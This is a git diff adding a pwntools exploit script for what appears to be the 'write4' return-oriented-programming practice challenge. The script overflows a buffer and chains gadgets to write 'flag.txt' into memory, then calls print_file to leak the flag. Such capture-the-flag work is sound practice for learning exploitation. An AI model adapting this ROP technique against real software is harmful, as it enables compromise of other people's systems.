1 files changed, 19 insertions, 0 deletions
diff --git a/x86_64/write4/exploit.py b/x86_64/write4/exploit.py
new file mode 100755
index 0000000..f8b294e
--- /dev/null
+++ b/x86_64/write4/exploit.py
@@ -0,0 +1,19 @@
+#!/usr/bin/env python3
+from pwn import *
+
+prog = process('./write4')
+payload = b''
+for c in range(40):
+    payload += b'a'
+
+payload += p64(0x0000000000400690)                  # pop r14, pop r15, ret
+payload += p64(0x0000000000600df0 + 0x00000df0)     # addr of init_array section
+payload += b"flag.txt"                              # our string (duh)
+payload += p64(0x0000000000400628)                  # mov qword ptr [r14], r15 ; ret 
+payload += p64(0x0000000000400693)                  # pop rdi; ret
+payload += p64(0x0000000000600df0 + 0x00000df0)     # addr of init_array section
+payload += p64(0x0000000000400510)                  # print_file@plt
+payload += b"\n"
+prog.sendline(payload)
+print(str(prog.recv(), 'UTF-8'))
+prog.close()